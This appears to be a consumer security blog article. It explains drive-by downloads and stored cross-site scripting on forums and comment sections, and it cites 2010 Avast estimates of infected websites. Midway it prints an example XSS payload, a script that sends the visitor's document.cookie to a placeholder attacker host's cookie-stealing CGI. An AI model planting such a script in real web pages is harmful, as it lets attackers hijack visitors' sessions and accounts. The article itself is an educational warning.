Drive-by Downloads
Protect yourself from Drive-by Downloads with Firefox's add-on, NoScript.
Very recently I posted a page on Scareware, an increasingly prevalent and perverse method of infecting computers with malware (viruses, trojans rootkits, keyloggers and other pernicious junk). Unlike that scenario where someone might be tempted to download and install on their computer something that looks to be a legitimate anti-spyware program but instead turns out to contain a whole host of malware that it misleadingly proposed to help the user guard against, a Drive-by download occurs without much if any interaction on the user's part at all. You can become a victim of a Drive-by download just by visiting a purposely infested website or a perfectly innocent website that cyber criminals have managed to sabotage. And you don't necessarily have to slum around in the sleazy neighborhoods of the Web to become a victim of a Drive-by download although doing so would very much increase your chances of becoming a victim. On April 15, 2010, researchers at ALWIL Software, providers of Avast Anti-virus software publicly announced that they had used automated feed-back from their users to estimate that there are approximately 252,800 domains (websites) world-wide infected with malware. That amounts to 2,150,000 infected web pages world wide. ALWIL did not provide any numbers on infected sites registered in the US. But for British-based websites alone, the list included over 3,000 infected domains. Many of the infected sites were small businesses or travel sites such as harrysbars.co.uk and westminster-london-hotels.co.uk. The point being that these infested sites are not the type of website that one would ordinarily be suspicious of.
So why would Harry's Bar decide to expose visitors to it's website to viruses, trojans, rootkits and other malicious spyware? The chances are near 100% that "Harry" had no idea that his site was compromised. If a website hosts ads or widgets or hosts forums or has comments sections on their pages, that site is susceptible to outside injection of a procedure known as Cross-site Scripting usually abbreviated as (XSS). Unfortunately, Cross-site Scripting is becoming increasingly wide-spread because it's not that difficult to do. In the simplest terms, XSS is the injection of malicious JavaScript into a legitimate Web page, where it can then be executed in the browsers of innocent visitors to that page. A Web site is susceptible to Cross-site Scripting if it allows users to upload content to be shared with other visitors to the website. A website owner who allows this type of content must constantly 1nspect that content to remove any potentially harmful scripting code. The classic example of this sort of vulnerability is content management software such as forums and bulletin boards where users are allowed to use raw HTML to format their posts.
Many websites host bulletin boards, chat rooms, message boards or now more commonly comments to individual blog posts where registered users may post messages which are stored in a database of some kind. A registered user is commonly tracked using a session ID cookie authorizing them to post. If an attacker were to post a message containing a specially crafted JavaScript, a user reading this message could have their cookies and their account compromised.
<SCRIPT>
document.location= 'http://attackerhost.example/cgi-
bin/cookiesteal.cgi?'+document.cookie
</SCRIPT>
Although the above snippet of code is designed to steal browser session cookies, it could easily be altered to re-direct an unsuspecting user to an infested website controlled by the cyber-crook who sabotaged the message board or comment section of the legitimate website. The page the user could be redirected to could look innocuous enough but it could in fact be an attack page. A typical attack page contains a barrage of script (usually JavaScript) exploits targeting a variety of weaknesses in different versions of the browser, operating system, and other programs. If any security breaches are found the user's computer could very quickly fall victim to a drive-by download that could include rootkits, keyloggers, viruses and all sorts of other vile malware.